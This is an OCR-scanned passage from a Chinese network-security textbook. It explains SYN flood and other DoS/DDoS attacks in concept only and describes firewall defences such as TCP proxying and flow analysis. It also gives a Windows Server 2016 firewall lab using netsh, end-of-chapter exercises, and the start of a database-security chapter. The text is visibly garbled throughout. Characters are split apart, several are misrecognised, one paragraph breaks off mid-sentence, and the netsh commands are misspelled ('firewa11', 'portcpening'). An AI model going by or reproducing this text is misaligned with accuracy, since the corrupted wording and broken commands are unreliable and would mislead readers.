息 来 实现 攻击 ,IP 分 段 含有 指示 该 分 段 所 包含 的 是 原 包 的 哪 一 段 信息 , 某 些 TCP/IP 协 
议 栈 (例如 Windows NT 在 Service Pack 4 以 前 ) 在 收 到 含有 重生 偏 移 的 伪造 分 段 时 将 月 
演 。 男 一 类 是 带宽 占用 型 攻击 ,比较 典型 的 如 UDP flood 、SYN flood、ICMP flood 等 ， 
SYN Flood 具有 典型 意义 ,利用 TCP 协议 的 特点 完成 攻击 。 通 常 一 次 TCP 连接 的 建立 
包括 3 个 步骤 ; 客户 端 发 送 SYN 包 给 服务 器 端 ;服务 器 分 配 一 定 的 资源 给 这 个 连接 并 返 
回 SYN/ACK 包 , 并 等 待 连接 建立 的 最 后 的 ACK 包 ; 最 后 客户 端 发 送 ACK 报 文 ,这 样 
两 者 之 间 的 连接 建立 起 来 ,并 可 以 通过 连接 传送 资料 了 。 而 SYN Flood 攻击 的 过 程 就 是 
疯狂 发 送 SYN 报 文 ,而 不 返回 ACK 报 文 ,服务 器 占用 过 多 资源 ,而 导致 系统 资源 占用 过 
多 ,没有 能 力 响应 别 的 操作 ,或 不 能 响应 正常 的 网 络 请 求 。 

从 现在 和 未 来 看 ,防火 墙 都 是 抵御 DoS/DDoS 攻击 的 重要 组 成 部 分 ,这 是 由 防火 墙 
在 网 络 拓扑 的 位 置 和 扮演 的 角色 决定 的 。 


1. 基于 状态 的 资源 控制 以 保护 防火 墙 资源 


智能 防火 墙 支 持 IP Inspect 功能 ,防火 墙 会 对 进入 防火 墙 的 报 文 做 严格 检查 ,各 种 针 
对 系统 漏洞 的 攻击 包 , 如 Ping of Death .TearDrop 等 ,会 自动 被 系统 过 滤 掉 ,从 而 保护 了 
网 络 免 受 来 自 外 部 的 漏洞 攻击 。 对 任何 防火 墙 来 说 ,资源 都 是 十 分 宝贵 的 , 当 受到 外 来 
的 DDoS 攻击 时 ,系统 内 部 的 资源 全 都 被 攻击 流 所 占用 ,此 时 正常 的 资料 报 文 肯定 会 受 
到 影响 。 智 能 防火 墙 基于 状态 的 资源 控制 功能 可 以 自动 监视 网 络 内 所 有 的 连接 状态 , 当 
有 连接 长 时 间 未 得 到 应 答 ,就 会 处 于 半 连 接 的 状态 ,浪费 系统 资源 , 当 系统 内 的 半 连 接 超 
过 正常 的 范围 时 ,就 有 可 能 是 遭受 了 攻击 。 智 能 防火 墙 基于 状态 的 资源 控制 能 有 效 控 制 
此 类 情况 。 

(1) 控制 连接 与 半 连 的 超时 时 间 。 必 要 时 ,可 以 缩短 半 连 接 的 超时 时 间 ,加 速 半 连 接 
的 老化 。 

(2) 限制 系统 各 个 协议 的 最 大 连接 数 ,保证 协议 的 连接 总 数 不 超过 系统 限制 ,在 达到 
连接 上 限 后 删除 新 建 的 连接 。 

(3) 限制 系统 符合 条 件 源 /目的 主机 连接 数量 。 

针对 源 或 目的 IP 地址 做 流 限制 ,Inspect 可 以 限制 每 个 IP 地 址 的 资源 。 用 户 在 资源 
控制 的 范围 内 时 ,使 用 并 不 会 受到 任何 影响 ;但 当 用 户 感染 蠕虫 病毒 或 发 送 攻 击 报 文 等 
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情况 时 ,针对 流 的 资源 控制 可 以 限制 每 个 IP 地 址 发 送 的 连接 数目 ,超过 限制 的 连接 将 
被 丢弃 ,这 种 做 法 可 以 有 效 抑制 病毒 产生 的 攻击 效果 ,避免 其 他 正常 使 用 的 用 户 受 到 
影响 。 

单位 时 间 内 如 果 穿 过 防火 墙 的 “同类 ”数据 流 超 过 门限 值 ,可 以 设 定 对 该 类 数据 流 进 
行 阻 断 , 对 于 防止 IP.ICMP.UDP 等 非 连接 的 flood 攻击 具有 很 好 的 防御 效果 。 


2. 智能 TCP 代理 有 效 防范 SYN Flood 攻击 


在 常见 的 攻击 手段 里 ,拒绝 服务 (DoS) 攻 击 是 最 主要 也 是 最 常见 的 。 而 在 拒绝 服务 
攻击 里 ,又 以 SYN Flood( 洪 水 攻击 ) 攻 击 最 为 有 名 。SYN Flood 利用 TCP 协议 在 设计 
上 的 缺陷 ,通过 特定 方式 发 送 大 量 的 TCP 请 求 ,从 而 导致 受 攻击 方 CPU 超 负 荷 或 内 存 
不 足 。 

1) SYN Flood 攻击 原理 

要 达到 防御 此 类 攻击 的 目的 ,首先 就 要 了 解 该 类 攻击 的 原理 。SYN Flood 攻击 所 利 
用 的 是 TCP 协议 存在 的 漏洞 ,那么 TCP 的 漏洞 在 哪里 呢 ? 原来 TCP 协议 是 面向 连接 
的 ,在 每 次 发 送 数据 以 前 ,都 会 在 服务 器 与 客户 端 之 间 先 虚拟 出 一 条 路 线 , 称 TCP 连接 ， 
以 后 的 各 数据 通信 都 经 由 该 路 线 进行 ,直到 本 TCP 连接 结束 。 而 UDP 协议 则 是 无 连接 
的 协议 ,在 基于 UDP 协议 的 通信 中 ,各 数据 报 并 不 经 由 相同 的 路 线 。 整 个 TCP 连接 需 
要 经 过 三 次 协商 (俗称 "三 次 握手 ”来 完成 。 

第 一 次 : 客户 端 发 送 一 个 带 有 SYN 标记 的 TCP 报 文 到 服务 器 端 ,正式 开始 TCP 连 
接 请 求 。 在 发 送 的 报 文中 指定 了 自己 所 用 的 端口 号 以 及 TCP 连接 初始 序号 等 信息 。 

第 二 次 : 服务 器 端 在 接收 到 来 自 客 户 端的 请 求 之 后 ,返回 一 个 带 有 SYN 十 ACK 标 
记 的 报 文 ,表示 接受 连接 ,并 将 TCP 序号 加 1 。 

第 三 次 : 客户 端 接 收 到 来 自 服务 器 端的 确认 信息 后 ,也 返回 一 个 带 有 ACK 标记 的 
报 文 ,表示 已 经 接收 到 来 自 服务 器 端的 确认 信息 。 服 务 器 端 在 得 到 该 数据 报 文 后 ,一 个 
TCP 连接 才 算 真正 建立 起 来 。 

在 以 上 三 次 握手 中 , 当 客户 端 发 送 一 个 TCP 连接 请 求 给 服务 器 端 ,服务 器 也 发 出 了 
相应 的 响应 数据 报 文 之 后 ,可 能 由 于 某 些 原因 (如 客户 端 突 然 死机 或 断 网 等 原因 ) ,客户 
端 不 能 接收 到 来 自 服务 器 端的 确认 数据 报 ,这 就 造成 了 以 上 三 次 连接 中 的 第 一 次 和 第 二 
次 握手 的 TCP 半 连 接 ( 并 不 是 完全 不 连接 ,连接 并 未 完全 中 断 )。 由 于 服务 器 端 发 出 了 
带 SYN 十 ACK 标记 的 报 文 , 却 并 没有 得 到 客户 端 返回 相应 的 ACK 报 文 ,于 是 服务 器 就 
进入 等 待 状态 ,并 定期 反复 进行 SYN 十 ACK 报 文 重 发 ,直到 客户 端 确认 收 到 为 止 。 这 样 
服务 器 端 就 会 一 直 处 于 等 待 状态 ,并 且 由 于 不 断 发 送 SYN 十 ACK 报 文 ,使 得 CPU 及 其 
他 资源 严重 消耗 ,还 因 大 量 报 文 使 得 网 络 出 现 堵塞 ,这 样 不 仅 服务 器 可 能 骨 溃 ,而 且 网 络 
也 可 能 处 于 瘫痪 状态 。 

SYN Flood 攻击 正 是 利用 了 TCP 连接 的 这 个 漏洞 来 实现 攻击 目的 的 。 当 恶意 的 客 
户 端 构造 出 大 量 的 这 种 TCP 半 连 接 发 送 到 服务 器 端 时 ,服务 器 端 就 会 一 直 陷 和 人 等 待 的 
过 程 中 ,并 且 耗 用 大 量 的 CPU 资源 和 内 存 资源 来 进行 SYN 十 ACK 报 文 的 重 发 ,最 终 使 
得 服务 器 端 朋 溃 。 
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2) 用 防火 墙 防御 SYN Flood 攻击 

智能 TCP 代理 型 防火 墙 的 防御 方法 是 : 在 客户 端 与 服务 器 建立 TCP 连接 的 三 次 握 
手 过 程 中 ,由 位 于 客户 端 与 服务 器 端 (通常 分 别 位 于 外 、 内 部 网 络 ) 中 间 的 智能 防火 墙 充 
当代 理 角色 ,这 样 客户 端 要 与 服务 器 端 建立 一 个 TCP 连接 ,就 必须 先 与 防火 墙 进行 三 次 
TCP 握手 , 当 客 户 端 和 防火 墙 三 次 握手 成 功 之 后 ,再 由 防火 墙 与 客户 端 进行 三 次 TCP 握 
手 , 完 成 后 再 进行 一 个 TCP 连接 的 三 次 握手 。 一 个 成 功 的 TCP 连接 所 经 历 的 两 个 三 次 
握手 过 程 ( 先 是 客户 端 到 防火 墙 的 三 次 握手 ,再 是 防火 墙 到 服务 器 端的 三 次 握手 ) 如 图 8-15 
所 示 。 


@ 
第 一 个 三 次 握手 第 二 个 三 次 握手 


8-15 ”两 个 三 次 握手 过 程 
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从 整个 过 程 可 以 看 出 ,由 于 所 有 的 报 文 都 是 通过 防火 墙 转发 的 ,而 且 未 同 防火 墙 建 
立 起 TCP 连接 就 无 法 同 服务 器 端 建立 连接 ,所 以 使 用 这 种 防火 墙 就 相当 于 起 到 一 种 隔 
离 保护 作用 ,安全 性 较 高 。 当 外 界 对 内 部 网 络 中 的 服务 器 端 进行 SYN Flood 攻击 时 , 实 
际 上 唱 受 攻击 的 不 是 服务 器 而 是 防火 墙 。 而 防火 墙 自身 又 是 具有 抗 攻 击 能 力 的 ,可 以 通 
过 规则 设置 为 拒绝 外 界 客户 端 不 断 发 送 的 SYN 十 ACK 报 文 。 

智能 TCP 代理 技术 使 防火 墙 自身 作为 TCP 连接 的 中 介 , 来 获取 每 一 个 TCP 连接 的 
信息 。 从 而 判断 连接 的 合法 性 ,保护 网 络 资源 ,如 图 8-16 所 示 。 


D. 正常 TCP 业 务 连接 


入 侵 模式 高 警戒 线 
C. 系统 进入 人 侵 模式 


入 侵 模式 低 警 戒 线 


B. I 


E 常 TCP 代 理 模式 


TCP 代 理 启动 警戒 线 


A. 没有 启动 TCP 代 理 


图 8-16 智能 TCP 代理 工作 模式 


防火 墙 工作 时 并 不 会 立即 开启 TCP 代理 (以 免 影 响 速 度 ) ,只 有 当 网 络 中 的 TCP 半 
连接 达到 系统 设置 的 TCP 代理 启动 警戒 线 时 ,正常 TCP Intercept 会 自动 启动 ,并 且 当 
系统 的 TCP 半 连 接 超过 系统 TCP Intercept 高 警戒 线 时 ,系统 进入 人 侵 模式 ,此 时 新 连 
接 会 覆盖 旧 的 TCP 连接 ;此 后 ,系统 全 连接 数 增多 , 半 连 接 数 减 小 , 当 半 连接 数 降 到 入 侵 
模式 低 警戒 线 时 ,系统 退出 和 人 侵 模 式 。 如 果 此 时 攻击 停止 ,系统 半 连 接 数 量 逐 渐 降 到 
TCP 代理 启动 警戒 线 以 下 ,智能 TCP 代理 模块 停止 工作 。 通 过 智能 TCP 代理 可 以 有 效 
防止 SYN Flood 攻击 ,保证 网 络 资源 安全 。 
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3. 基于 流量 分 析 的 包 过 滤 对 DoS 和 病毒 检测 


网 络 监控 在 抵御 DDoS 攻击 中 有 重要 的 意义 。 智 能 防火 墙 支持 流量 分 析 功 能 , 它 将 
网 络 交换 中 的 数据 包 识别 为 流 的 方式 加 以 记录 ,并 封装 为 UDP 包 发 送 到 分 析 器 上 ,这 样 
就 为 网 络 管理 流量 分 析 和 监控 .入 侵 检 测 等 提供 了 丰富 的 资料 来 源 (学 习 资料 )。 可 以 
在 不 影响 转发 性 能 的 同时 记录 ,发送 流量 数据 信息 ,并 能 够 利用 防火 墙 的 安全 管理 平台 
对 接收 到 的 资料 进行 分 析 、 人 处 理 。 

通过 监控 网 络 流量 ,防火 墙 可 以 有 效 地 抵御 DDoS 攻击 ,但 当 攻 击 流 数量 超过 一 定 
程度 ,已 经 完全 占据 了 带宽 时 ,虽然 防火 墙 已 经 通过 安全 策略 把 攻击 数据 包 丢 弃 ( 过 滤 
掉 ), 但 由 于 攻击 数据 包 已 经 占据 了 所 有 的 网 络 带 宽 , 这 时 正常 的 用 户 访问 依然 无 法 

利用 流量 分 析 监 视 蠕 虫 病毒 。 防 止 蠕 虫 病毒 的 攻击 ,重要 的 是 防止 蠕虫 病毒 的 扩 
散 , 只 有 尽早 发 现 , 才 可 以 迅速 采取 措施 有 效 阻止 病毒 。 各 种 蠕虫 病毒 在 感染 了 系统 后 ， 
为 了 传播 自身 ,会 主动 向 外 发 送 特 定 的 数据 包 并 扫描 相关 端口 。 利 用 这 个 特性 ,防火 墙 
可 以 在 安全 管理 平台 上 建立 相关 的 蠕虫 病毒 查询 模板 ,定期 查询 , 当 发 现 了 匹配 的 资料 
时 ,可 以 分 析 该 地 址 是 否 已 经 感染 病毒 ,按照 相应 的 过 滤 规 则 采取 相应 的 措施 。 

ED 讨论 思考 

(1) 智能 防火 墙 使 用 了 哪些 关键 技术 ? 

(2) SYN Flood 攻击 是 利用 了 什么 漏洞 ? 

(3) DoS/DDoS 攻击 是 如 何 实现 的 ? 常用 的 攻击 手段 除了 SYN Flood 以 外 还 有 
哪些 ? 


86 实验 八 : Windows Server 2016 防 火 墙 安全 配置 


在 掌握 了 防火 墙 的 一 般 知识 以 后 ,通过 实验 掌握 Windows Server 2016 软件 防火 墙 
配置 的 方法 ,并 且 通 过 配置 访问 策略 对 防火 墙 进 行 安全 管理 。 


861 实验 目的 


掌握 Windows Server 2016 防火 墙 的 配置 和 使 用 方法 。 
实验 用 时 : 两 学 时 (90 分 钟 ) 。 


862 ”实验 要 求 


(1) 局 域 网 连通 ,多 台 计 算 机 。 
(2) Windows Server 2016 操作 系统 。 


863 ”实验 内 容 及 原理 


Windows Server 2016 是 一 款 基 于 主机 的 防火 墙 , 它 允 许 安全 的 网 络 通信 通过 防火 
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墙 进 入 网 络 , 同 时 拒绝 不 安全 的 通信 进入 ,使 网 络 免 受 外 来 威胁 。 它 结合 了 主机 防火 墙 
和 IPSec, 可 以 对 穿 过 网 络 边 界 防火 墙 的 网 络 攻 击 和 发 自 企 业内 部 的 网 络 攻 击 进行 防护 ， 
可 以 说 基于 主机 的 防火 墙 是 网 络 边 界 防火 墙 的 一 个 有 益 的 补充 。Windows Server 2016 
与 之 前 的 版 本 相 比 具有 以 下 特点 : 

(1) 新 的 图 形 化 界面 。 通 过 一 个 管理 控制 台 单元 来 配置 这 个 高 级 防火 墙 。 

(2) 双向 保护 。 对 出 站 、 入 站 通信 进行 过 滤 。 

(3) 与 IPSec 更 好 的 配合 。 具 有 高 级 安全 性 的 Windows Server 2016 将 Windows 防 
火 墙 功能 和 Internet 协议 安全 (IPSec) 集 成 到 一 个 控制 台中 。 使 用 这 些 高 级 选项 可 以 按 
照 环境 所 需 的 方式 配置 密 钥 交 换 数据 保护 (完整 性 和 加 密 ) 以 及 身份 验证 设置 。 

(4) 高 级 规则 配置 。 可 以 针对 Windows Server 上 的 各 种 对 象 创建 防火 墙 规 则 ,配置 
防火 墙 规 则 以 确定 阻止 还 是 允许 流量 通过 具有 高 级 安全 性 的 Windows 防火 墙 。 

传人 数据 包 到 达 计 算 机 时 ,具有 高 级 安全 性 的 Windows 防火 墙 检查 该 数据 包 , 并 确 
定 它 是 否 符合 防火 墙 规 则 中 指定 的 标准 。 如 果 数 据 包 与 规则 中 的 标准 匹配 , 则 具有 高 级 
安全 性 的 Windows 防火 墙 执行 规则 中 指定 的 操作 , 即 阻止 连接 或 允许 连接 ;如 果 数 据 包 
与 规则 中 的 标准 不 匹配 , 则 具有 高 级 安全 性 的 Windows 防火 墙 丢 弃 该 数据 包 , 并 在 防火 
墙 日 志文 件 中 创建 条 目 ( 如 果 启 用 了 日 志 记录 ) 。 

对 规则 进行 配置 时 ,可 以 从 各 种 标准 中 进行 选择 ,例如 应 用 程序 名 称 、 系 统 服务 名 
称 、TCP 端口 .UDP 端口 ,本 地 IP 地 址 .远程 IP 地 址 ,配置 文件 .接口 类 型 (如 网 络 适 配 
器 ) .用户 ,用户 组 .计算 机 .计算 机 组 .协议 ICMP 类 型 等 。 规 则 中 的 标准 添加 在 一 起 , 添 
加 的 标准 越 多 ,具有 高 级 安全 性 的 Windows 防火 墙 匹 配 传人 流量 就 越 精细 。 

Windows Server 2016 防火 墙 配置 如 下 。 


1. 启用 /关闭 防火 墙 


(1) 打开 “网 络 连接 ”, 右 击 要 保护 的 连接 ,选择 “属性 ”命令 ,出 现 “ 本 地 连接 属性 ”对 

(2) 选择 “高 级 ”选项 卡 , 单 击 “ 设 置 " 按 钮 ,出 现 启 动 /停止 防火 墙 界面 。 如 果 要 启用 
Internet 连接 防火 墙 , 单 击 “ 启 用 ”按钮 ;如 果 要 禁用 Internet 连接 防火 墙 , 单 击 “ 关 闭 ” 
按钮 。 


2. 防火 墙 服务 设置 


Windows Server 2016 防火 墙 能 够 管理 服务 端口 ,例如 HTTP 的 80 端口 .FTP 的 
21 端口 等 ,只 要 系统 提供 了 这 些 服务 ,Internet 连接 防火 墙 就 可 以 监视 并 管理 这 些 
端口 。 

1) 解除 阻止 设置 

在 “例外 ?选项 卡 中 ,可 以 通过 设 定 让 防火 墙 禁止 和 允许 本 机 中 某 些 应 用 程序 访问 网 
络 , 加 上 /表示 允许 ,不 加 表示 禁止 。 如 果 人 允许 本 机 中 某 项 应 用 程序 访问 网 络 , 则 在 对 
话 框 中 间 列 表 中 所 列 出 该 项 服务 前 加 (如果 不 存在 , 则 可 单 击 * 添 加 程序 ”按钮 进行 添 
加 ); 如 果 禁 止 本 机 中 某 项 应 用 程序 访问 网 络 , 则 将 该 项 服务 前 的 V 清除 (如 果 不 存 在 , 同 
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样 可 以 添加 ) 。 在 “Windows 防火 墙 阻止 程序 时 通知 我 ?选项 前 加 上 、/ , 则 在 主机 出 现 列 
表 框 中 不 存在 的 应 用 程序 欲 访 问 网 络 时 ,防火 墙 会 弹出 提示 框 询问 用 户 是 否 允 许 该 项 网 
络 连接 。 

2) 高 级 设置 

在 “高 级 ”选项 卡 中 ,可 以 指定 需要 防火 墙 保护 的 网 络 连接 ,双击 网 络 连接 或 单 击 “ 设 
置 " 按 钮 设置 允许 其 他 用 户 访 问 运 行 于 本 主机 的 特定 网 络 服 务 。 选 择 “ 服 务 ” 选 项 卡 , 其 
中 列举 出 了 网 络 标准 服务 ,加 上 、/ 表示 允许 ,不 加 表示 禁止 。 如 果 人 允许 外 部 网 络 用 户 
访问 网 络 的 某 一 项 服务 , 则 在 对 话 框 中 间 列 表 中 所 列 出 的 该 项 服务 前 加 (如 果 不 存在 ， 
则 可 单 击 * 添 加 程序 ?按钮 进行 添加 ); 如 果 禁 止 外 部 网 络 用 户 访问 内 部 网 络 的 某 一 项 服 
务 , 则 将 该 项 服务 前 的 V 清除 (如 果 不 存在 ,同样 可 以 添加 )。 选 择 ICMP 选项 卡 ,允许 或 
禁止 某 些 类 型 的 ICMP 响应 ,建议 禁止 所 有 的 ICMP 响应 。 


3. 防火 墙 安 全 日 志 设置 


Windows Server 2016 防火 墙 可 以 记录 所 有 允许 和 拒绝 进入 的 数据 包 , 以 便 进行 进 
一 步 的 分 析 。 在 “高 级 ”选项 卡 的 “安全 日 志 记 录 ” 框 中 单 击 “设置 "按钮 ,进入 “日 志 设 置 ” 
界面 。 

如 果 要 记录 被 丢弃 的 包 , 则 选中 “记录 被 丢弃 的 数据 包 ” 复 选 框 ;如 果 要 记录 成 功 的 
连接 , 则 选中 “记录 成 功 的 连接 ” 复 选 框 。 

日 志文 件 上 默认 路 径 为 C:\Windows\pfirewall. log, 用 记事 本 可 以 打开 ,所 生成 的 安 
全 日 志 使 用 的 格式 为 W3C 扩展 日 志文 件 格式 ,可 以 用 常用 的 日 志 分 析 工 具 进 行 查 看 分 
析 。 也 可 以 重新 指定 日 志文 件 ,而 且 还 可 以 通过 * 大 小 限制 ?限定 文件 的 最 大 使 用 空间 。 
建立 安全 日 志 是 非常 必要 的 ,在 服务 器 安全 受到 威胁 时 ,日志 可 以 提供 可 靠 的 证 据 。 


4. 使 用 命令 行 工具 配置 防火 墙 


netsh 是 一 个 命令 行 脚本 实用 程序 ,可 让 用 户 从 本 地 或 远程 显示 或 修改 当前 运行 的 
计算 机 的 网 络 配置 。netsh 还 提供 了 人 允许 用 户 使 用 批 处 理 模 式 对 指定 的 计算 机 运行 一 组 
命令 的 脚本 功能 。netsh 实用 程序 也 可 将 配置 脚本 以 文本 文件 保存 ,以 便 存 档 或 用 于 配 
置 其 他 服务 器 。 

(1) 在 命令 行 配置 窗口 输入 netsh firewall 命令 。 

(2) 查看 .开启 或 禁用 系统 防火 墙 。 打 开 命令 提示 符 窗 口 , 输 入 命令 netsh firewall 
show state, 然 后 回 车 ,可 查看 防火 墙 的 状态 ,从 显示 结果 中 可 看 到 防火 墙 各 功能 模块 的 
禁用 及 启用 情况 。 命 令 netsh firewall set opmode disable 用 来 禁用 系统 防火 墙 ,而 命令 
netsh firewall set opmode enable 可 启用 防火 墙 。 

(3) 允许 文件 和 打印 共享 。 文 件 和 打印 共享 在 局 域 网 中 是 常用 的 功能 ,如 果 要 人 允许 
客户 端 访问 本 机 的 共享 文件 或 者 打印 机 ,可 分 别 输入 并 执行 如 下 命令 : 

netsh firewa11 add portcpening UDP 137 Netbios- ns (允许 访问 UDP 协议 的 137 端 口 ) 

netsh firewall add portopening UDP 138 Netbios- dqm( 允 许 访问 UDP 协议 的 138 端 口 ) 

netsh firewall add portopening TCP 139 Netbios- ssn (允许 访问 TcP 协 议 的 139 端 口 ) 
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netsh firewa11 add portopening TCP 445 Netbios- ds (允许 访问 TcP 协 议 的 445 端 口 ) 

命令 执行 完毕 后 ,文件 及 打印 共享 所 需 的 端口 都 被 防火 墙 打开 了 。 

(4) 允许 ICMP 回 显 。 执 行 命 令 netsh firewall set icmpsetting 8 可 开启 ICMP [nl 
显 ,执行 netsh firewall set icmpsetting 8 disable 可 关闭 回 显 。 
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本 章 简要 介绍 了 防火 墙 的 相关 知识 ,通过 深入 了 解 防 火 墙 的 分 类 以 及 各 种 防火 墙 类 
型 的 优 缺 点 ,有 助 于 更 好 地 分 析 配 置 各 种 防火 墙 策略 。 重 点 阐述 了 企业 防火 墙 的 体系 结 


构 及 配置 策略 ,同时 通过 对 DDoS 等 攻击 方式 的 分 析 , 给 出 了 解决 此 类 攻击 的 一 般 性 
原理 。 
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1. 选择 题 
(1) 拒绝 服务 攻击 的 一 个 基本 思想 是 ( ) 
A. 不 断 发 送 垃圾 邮件 工作 站 B. 迫使 服务 器 的 缓冲 区 满 
C. 工作 站 和 服务 器 停止 工作 D. 服务 器 停止 工作 
(2) TCP 采用 三 次 握手 形式 建立 连接 ,在 ( ) 时 候 开 始 发 送 数 据 。 
A. 第 一 步 B. 第 二 步 C. 第 三 步 之 后 D. 第 三 步 


(3) 驻 留 在 多 个 网 络 设备 上 的 程序 在 短 时 间 内 产生 大 量 的 请 求 信 息 冲 击 某 Web 服 
务 器 ,导致 该 服务 器 不 堪 重 负 ,无 法 正常 响应 其 他 合法 用 户 的 请 求 , 这 属于 ( > 

A. 上 网 冲浪 B. 中 间 人 攻击 C. DDoS 攻击 D. MAC 攻击 
(4) 关于 防火 墙 ,以 下 ( ) 说 法 是 错误 的 。 

A. 防火 墙 能 隐藏 内 部 IP 地 址 

B. 防火 墙 能 控制 进出 内 网 的 信息 流向 和 信息 包 

C. 防火 墙 能 提供 VPN 功能 

D. 防火 墙 能 阻止 来 自 内 部 的 威胁 
(5) 以 下 说 法 正确 的 是 ( Ys 

A. 防火 墙 能 够 抵御 一 切 网 络 攻击 

B. 防火 墙 是 一 种 主动 安全 策略 执行 设备 

C. 防火 墙 本 身 不 需要 提供 防护 

D. 防火 墙 如 果 配 置 不 当 , 会 导致 更 大 的 安全 风险 


2. 填空 题 
(1) 防火 墙 隔 离 了 内 部 网 络 和 外 部 网 络 ,是 内 外 部 网 络 通信 的 途径 ,能 够 根 
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据 指定 的 访问 规则 对 流 经 它 的 信息 进行 监控 和 审查 ,从 而 保护 内 部 网 络 不 受 外 界 的 非法 
访问 和 攻击 。 


(2) 防火 墙 是 一 种 设备 , 即 对 于 新 的 未 知 攻击 或 者 策略 配置 有 误 ,防火 墙 就 
无 能 为 力 了 。 

(3) 从 防火 墙 的 软 硬 件 形式 来 分 的 话 , 防 火 墙 可 以 分 为 防火 墙 \ 硬 件 防火 墙 
以 及 防火 墙 。 

(4) 包 过 滤 型 防火 墙 工 作 在 OSI 参考 模型 的 和 


(5) 第 一 代 应 用 网 关 型 防火 墙 的 核心 技术 是 

(6) 单一 主机 防火 墙 独 立 于 其 他 网 络 设备 , 它 位 于 " 

(7) 组 织 的 雇员 可 以 是 要 到 外 围 区 域 或 Internet 的 内 部 用 户 、 外 部 用 户 ( 如 分 支 办 事 
处 工作 人 员 ) .远程 用 户 或 在 家 中 办 公 的 用 户 等 ,他 们 被 称 为 内 部 防火 墙 的 š 

(8) 是 位 于 外 围 网 络 中 的 服务 器 ,向 内 部 和 外 部 用 户 提供 服务 。 

(9) 是 利用 TCP 协议 在 设计 上 的 缺陷 ,通过 特定 方式 发 送 大 量 的 TCP 请 
求 , 从 而 导致 受 攻 击 方 CPU 超 负荷 或 内 存 不 足 的 一 种 攻击 方式 。 

(10) 针对 SYN Flood 攻击 ,防火 墙 通常 有 3 种 防护 方式 : \ 被 动 式 SYN 网 
关 和 


3. 简 答题 


(1) 防火 墙 是 什么 ? 
(2) 简 述 防火 墙 的 分 类 及 主要 技术 。 
(3) 正确 配置 防火 墙 以 后 ,是 否 能 够 必然 保证 网 络 安全 ? 如 果 不 能 , 试 简 述 防火 墙 的 


(4) 防火 墙 的 基本 结构 是 怎样 的 ? 如 何 起 到 “防火 墙 * 的 作用 ? 
(5) SYN Flood 攻击 的 原理 是 什么 ? 
(6) 防火 墙 如 何 阻止 SYN Flood 攻击 ? 


4. 实践 题 


(1) Linux 防火 墙 配置 (上 机 完成 ) 

假定 一 个 内 部 网 络 通过 一 个 Linux 防火 墙 接 和 人 外 部 网 络 ,要 求实 现 两 点 要 求 : 

@ Linux 防火 墙 通过 NAT 屏蔽 内 部 网 络 拓扑 结构 ,让 内 部 网 络 可 以 访问 外 部 网 络 。 

@ 限制 内 网 用 户 只 能 通过 80 端口 访问 外 网 的 W W W 服务 器 ,而 外 网 不 能 向 内 网 发 
送 任何 连接 请 求 。 

具体 实现 中 ,可 以 使 用 3 台 计 算 机 完成 实验 要 求 。 其 中 一 台 作 为 Linux 防火 墙 , 一 
台 作 为 内 网 计算 机 模拟 整个 内 部 网 络 ,一 台 作 为 外 网 计算 机 模拟 外 部 网 络 。 

(2) 选择 一 款 个 人 防火 墙 产 品 ,如 天 网 防火 墙 . 瑞 星 防 火 墙 等 ,进行 配置 ,说 明 配 置 的 
策略 ,并 对 其 安全 性 进行 评估 , 写 出 相应 的 报告 。 


第 9 音 chaptierO 
数据 库 安全 技术 


进入 21 世纪 现代 信息 化 社会 ,数据 库 技 术 已 经 成 为 信息 化 建设 和 资源 共享 的 一 项 
关键 技术 ,业务 数据 成 为 各 种 重要 数据 处 理 和 应 用 的 核心 ,计算 机 网 络 中 最 重要 、 最 有 价 
值 的 是 存储 在 数据 库 中 的 数据 资源 。 数 据 库 技术 已 经 应 用 到 各 个 领域 和 层面 ,同时 也 产 
生 了 很 多 安全 问题 ,由 于 数据 库 及 数据 特别 重要 , 极 易 受到 攻击 .泄漏 、 算 改 或 破坏 。 必 
须 利 用 数据 库 安 全 技术 ,确保 数据 库 系 统 和 业务 数据 的 安全 。 

E 教 学 目标 

。 理解 数据 库 安全 的 概念 及 安全 威胁 。 

。 掌握 数据 库 的 主要 安全 特性 。 

° 了 解数 据 库 的 安全 机 制 和 策略 。 


。 理解 数据 库 安 全 体系 与 防护 技术 。 
。 掌握 SQL Server 2016 用 户 安 全 管理 实验 。 
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【案例 9-1] 银行 监管 存 漏 洞 , 亿 元 巨额 存款 被 卷 走 ,高 息 诱 惑 及 内 鬼 操作 。2015 年 
银行 存款 “被 盗 ”" 案 频 发 ,年 初 酒鬼 酒 和 泸州 老 容 数 亿 元 银行 存款 “失踪 ”余波 未 平 ,1 月 底 
杭州 联合 银行 42 名 储户 又 被 盗 9500 余万元 ,而 4 月 14 日 武汉 银行 系统 连续 7 年 近 5 亿 
存款 丢失 案 开 庭审 理 。 综 观 银行 系列 存款 “失踪 ” 案 , 有 一 个 共同 特点 ,就 是 存款 被 盗 案 
背后 ,都 闪现 着 银行 “内 鬼 ” 身 影 ,他 们 与 犯罪 分 子 里 应 外 合 , 通 过 自 改 账户 及 数据 、 伪 造 
金融 票证 、 私 刻 存 款 单位 银行 预 留 印鉴 ,假扮 银行 工作 人 员 等 非法 手段 盗 走 存款 。 


911 数据 库 安 全 的 概念 
1. 数据 库 安 全 相关 概念 


数据 安全 (data security) 是 指 以 保护 措施 确保 数据 的 保密 性 、 完 整 性 、 可 用 性 、 可 控 
性 和 可 审查 性 等 5 个 安全 属性 ,防止 数据 被 非 授 权 访 问 、 汇 露 、 更 改 、 破 坏 和 控制 。 
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数据 库 安 全 (database security) 是 指 采 取 各 种 安全 措施 对 数据 库 及 其 相关 文件 和 数 
据 进行 保护 。 数 据 库 系统 的 重要 指标 之 一 是 确保 系统 安全 ,以 各 种 防范 措施 防止 非 授 权 
使 用 数据 库 ,主要 通过 DBMS 实现 。 数 据 库 系统 中 一 般 采 用 用 户 标识 和 鉴别 . 存 取 控 制 、 
视图 以 及 密码 存储 等 技术 进行 安全 控制 。 

数据 库 系统 安全 (database system security) 是 指 为 数据 库 系统 采取 的 安全 保护 措 
施 , 防 止 系统 软件 和 其 中 的 数据 遭 到 破坏 .更 改 和 泄漏 。 

和 注意 : 数据 库 安 全 的 核心 和 关键 是 其 数据 安全 。 由 于 数据 库存 储 着 大 量 的 重要 信 
息 和 机 密 数 据 , 而 且 在 数据 库 系 统 中 大 量 数 据 集中 存放 , 供 多 用 户 共享 ,因此 ,必须 加 强 
对 数据 库 访问 的 控制 和 数据 安全 防护 。 


2. 数据 库 安 全 的 内 酒 


从 系统 与 数据 的 关系 上 ,可 将 数据 库 安全 分 为 数据 库 系统 安全 和 数据 安全 。 

数据 库 系 统 安全 主要 利用 在 系统 级 控制 数据 库 的 存 取 和 使 用 的 机 制 ,包含 : 

